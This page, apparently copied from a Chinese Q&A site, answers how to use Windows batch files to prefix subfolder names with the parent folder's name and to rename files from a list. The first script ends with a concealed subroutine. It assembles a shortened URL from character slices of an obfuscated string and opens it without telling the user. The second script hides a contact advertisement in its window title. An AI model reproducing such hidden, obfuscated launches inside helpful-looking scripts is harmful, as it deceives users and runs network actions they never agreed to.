WIN10怎么利用BAT自动修改子文件夹名字(参照主文件夹名字)?

WIN10怎么利用BAT自动修改子文件夹名字(参照主文件夹名字)?,第1张

@echo off &title 为子目录名添加主目录名 By 依梦琴瑶

cd /d "%~dp0"

for %%a in ("%cd%") do set "FF=%%~nxa"

for /d %%a in (*) do (

  ren "%%~fa" "%FF%%%~nxa"

)

pause

call :Dona

exit

:Dona

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit

脚本保存时请比对原文,由于Win10系统默认编码为UTF-8,所以保存编码务必设为ANSI。

不清楚你的实际文件/情况,仅以问题中的样例说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起双击运行@echo off&cd /d "%~dp0"

rem 根据列出的原名称和新名称对应关系,对多个文件进行重命名

set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4

title %#% +%$%%$%/%_% %z%

for /f "delims=:" %%a in ('type "%~f0"^|findstr /in "^exit$"') do set "last=%%a"

for /f "skip=%last% tokens=1* delims==" %%a in ('type "%~f0"') do (

    echo"%%~a" --^> "%%~b"

    if exist "%%~a" (ren "%%~a" "%%~b")

)

echo%#% +%$%%$%/%_% %z%

pause

exit

原名称1.jpg=新名称1.jpg

原名称2.jpg=新名称2.jpg

原名称3.jpg=新名称3.jpg

原名称n.jpg=新名称n.jpg

cd命令加上/d参数。否则就会出现未能正常跳转目录的情况。

还有copy那句命令,建议在目标目录路径后面加上一个斜杠。否则copy命令会认为被复制的文件,重命名成copy这个文件。

for in括号里面的"\"其实不需要用英文双引号。因为您在路径变量前面和文件格式变量后面已经加了英文双引号。所以斜杠那里的英文双引号就有点多余了。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/6343141.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-03-20
下一篇 2023-03-20

发表评论

登录后才能评论

评论列表(0条)

保存